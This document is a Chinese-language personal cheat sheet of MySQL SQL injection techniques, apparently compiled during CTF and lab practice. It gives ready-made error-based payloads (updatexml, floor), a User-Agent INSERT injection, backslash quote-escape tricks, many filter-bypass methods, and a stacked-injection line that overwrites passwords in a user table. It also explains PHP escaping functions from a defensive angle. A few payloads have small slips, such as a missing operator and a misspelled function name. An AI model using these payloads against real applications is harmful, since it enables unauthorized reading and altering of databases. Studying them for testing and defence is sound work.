报错注入语句整理
1 | floor 报错:and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a); |
updatexml 报错注入:
1 | 爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
1. Insert构造报错注入语句
源码中的注入点在$uagent中
1 | $uagent = $_SERVER['HTTP_USER_AGENT']; |
最开始想构造如下结构的sql语句来进行报错注入
1 | text','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)# |
构造后的sql语句如下
1 | INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('text','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)# |
后来发现该语句错误,尝试后发现Insert后面是没办法再跟一条AND语句的
于是正确的注入姿势应该如下:
1 | text' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1 |
上面的语句才是正确的
2. --+和#注释问题
SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索
这个链接讲的挺详细
但是我在POST注入中使用--+, -- , 的注释方式时,注入是不起作用的,只用使用#注释才可以,还不知道为什么。。。
GET注释注意要把#注释给url编码一下(%23)
3. 双输入的注入
对于如下双输入的注入
1 | select * from user where name = 'input 1' and pass = 'input 2' |
如果只过滤了单引号但没有考虑 "\"
,那么我们便可以通过转义语句中的第二个单引号,使得第一个单引号和第三个单引号闭合,从而让攻击语句逃逸:
1 | select * from users where name = '\' and pass = ' union select xxx #' |
4. 一些函数
addslashes()
在预定义的字符前面加上反斜杠
- 单引号 (‘)
- 双引号 (“)
- 反斜杠 (\)
- NULL
1
2
3$str = "my name's zzz";
echo addslashes($str);
// 输出:my name\'s zzz
加入这个函数并不会改变原有的 $str ,当读取出来的时候,内容中并没有 “\“
addslashes() 只在POST 、 cookie 和GET数据插入数据库时才会把反斜杠同时插入到数据库,其他情况不会将反斜杠插入到数据库
在有些 PHP.ini 中,若打开了 magic_quotes_gpc指令,那就不在需要使用 addslashes() ,否则会造成二次转义
mysql_escape_string()
1 | $str = "aaa's bbb"; |
PHP5.3中就已经弃用该函数
mysql_real_escape_string()
转义SQL语句中使用的字符串中的特殊字符
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
1 | $str = mysql_real_escaoe_string($str) |
5. 注入绕过
过滤空格
/**/
%0a
- 回车%09
过滤等号
like
regexp
过滤 where
having
过滤引号
使用十六进制绕过
过滤注释(特殊场景
在过滤注释(和空格)且返回字段值限制条数的场景下,如果知道表字段名,可以构造类似下面的语句来正则匹配 flag
1 | id=0'||(password)regexp'flag |
过滤数字 0-9
可以考虑使用 true
来拼接出数字,然后再使用 char()
函数转换成字符,如字符 c
可以构造成 'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
或者 'c'=char(true+true+...)
(99个true)
过滤 ascii()
ascii()
: 返回字符串 str 的第一个字符的 ASCII 码值。如ASCII('A')
返回65
ord()
: 返回的是字符的 Unicode 码点,与ascii()
函数相似。如ORD('A')
也返回65
hex()
: 将字符串或整数转换为十六进制
这几个函数在盲注中经常用到,可以通过 python 脚本,构造语句进行爆破
1 | # 爆数据库例子 |
过滤 substr()
substr(str, pos, len)
: 从字符串 str 的第 pos 个字符开始,截取 len 个字符left(str, len)
: 从字符串的左侧开始截取 len 长度的子字符串right(str, len)
: 从字符串的右侧开始截取 len 长度的子字符串lpad(str, len, padstr)
: 返回字符串 str,len 小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串 padstr 直到达到 len 字符长度。在注入中,lpad(str, len, '')
,令第三个参数为空即可与left(str, len)
函数作用相同rpad(str, len, padstr)
: 同理
left()
和right()
函数是对字符串不一致的第一字符进行比较,即ab=ab
、ab<ac
6. 堆叠注入
我们在 ;
结束一个sql语句后继续构造下一条语句,造成堆叠注入,堆叠注入可以执行的是任意的语句。
在读取数据时,建议使用 union(联合)注入。同时在使用堆叠注入之前,是需要知道一些数据库相关信息的,例如表名,列名等信息
1 | username=1;update`ctfshow_user`set`pass`=1&password=1 |
7. 数据库、表名注意事项
如果数据库、表名为数字的话,则要加反引号符号
1 | show columns from `1919810931114514`; |
8. 布尔型判断
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数
比如 password=‘xxx’ or ‘1xxxxxxxxx’
,那么就相当于 password=‘xxx’ or 1
,也就相当于 password=‘xxx’ or true
,所以返回值就是 true